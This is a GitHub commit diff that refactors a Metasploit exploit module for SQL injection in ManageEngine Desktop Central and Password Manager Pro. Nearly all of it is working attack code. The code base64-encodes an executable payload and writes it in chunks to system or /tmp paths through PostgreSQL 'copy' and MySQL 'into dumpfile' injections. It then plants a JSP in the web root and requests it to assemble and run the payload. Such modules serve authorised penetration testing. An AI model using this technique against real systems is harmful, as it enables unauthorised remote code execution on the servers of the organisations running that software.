Skip to content

Commit 823649d

Browse files
committed
Clean exploit, just a little
1 parent 9815b16 commit 823649d

File tree

1 file changed

+12
-25
lines changed

1 file changed

+12
-25
lines changed

modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb

Lines changed: 12 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -159,9 +159,11 @@ def exploit
159159

160160
jsp_name = rand_text_alpha_lower(8) + ".jsp"
161161
fullpath = web_root + jsp_name
162+
inject_exec(fullpath)
162163
register_file_for_cleanup(fullpath.sub('../',''))
163164

164-
inject_exec(jsp_name, fullpath)
165+
print_status("#{peer} - Requesting #{jsp_name}")
166+
send_request_raw({'uri' => normalize_uri(jsp_name)})
165167
end
166168

167169
# Test for Password Manager Pro
@@ -443,9 +445,7 @@ def inject_sql(sqli_command, target = nil)
443445
end
444446
end
445447

446-
#
447448
# Generate the actual payload
448-
#
449449
def generate_exe_payload
450450
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
451451
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
@@ -458,11 +458,8 @@ def generate_exe_payload
458458
Rex::Text.encode_base64(exe)
459459
end
460460

461-
#
462-
# Uploads the payload in chunks and then calls the JSP that will assemble them
463-
# (runs the actual exploit).
464-
#
465-
def inject_exec(jsp_name, fullpath)
461+
# Uploads the payload in chunks
462+
def inject_exec(fullpath)
466463
base64_exe = generate_exe_payload
467464
base64_exe_len = base64_exe.length
468465

@@ -483,25 +480,22 @@ def inject_exec(jsp_name, fullpath)
483480
# The Windows path has to be escaped with 4 backslashes because ruby eats one
484481
# and the JSP eats the other.
485482
files = Array.new(chunks)
486-
files.map! {
487-
|file|
483+
files.map! do |file|
488484
if @my_target['Platform'] == 'win'
489485
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
490486
else
491487
# Assuming Linux, let's hope we can write to /tmp
492488
file = "/tmp/" + rand_text_alpha(rand(8)+3)
493489
end
494-
}
490+
end
495491

496-
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks}" +
497-
" chunks in #{time} seconds")
492+
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds")
498493

499494
if @my_target['Database'] == 'postgresql'
500495
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
501496
else
502497
# Assuming mysql
503-
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile" +
504-
" '#{files[counter]}'")
498+
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
505499
end
506500
register_file_for_cleanup(files[counter])
507501
copied += chunk_size
@@ -513,12 +507,10 @@ def inject_exec(jsp_name, fullpath)
513507
chunk_size = base64_exe_len - copied
514508
end
515509
if @my_target['Database'] == 'postgresql'
516-
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to " +
517-
"'#{files[counter]}'")
510+
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
518511
else
519512
# Assuming mysql
520-
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into " +
521-
"dumpfile '#{files[counter]}'")
513+
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
522514
end
523515
register_file_for_cleanup(files[counter])
524516
copied += chunk_size
@@ -527,15 +519,10 @@ def inject_exec(jsp_name, fullpath)
527519

528520
jsp_encoded = generate_jsp_encoded(files)
529521
if @my_target['Database'] == 'postgresql'
530-
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8'))" +
531-
" to '#{fullpath}'")
522+
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'")
532523
else
533524
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
534525
end
535-
print_status("#{peer} - Requesting #{jsp_name}")
536-
send_request_raw({'uri' => normalize_uri(jsp_name)})
537-
538-
handler
539526
end
540527

541528
def check_desktop_central_8(body)

0 commit comments

Comments
 (0)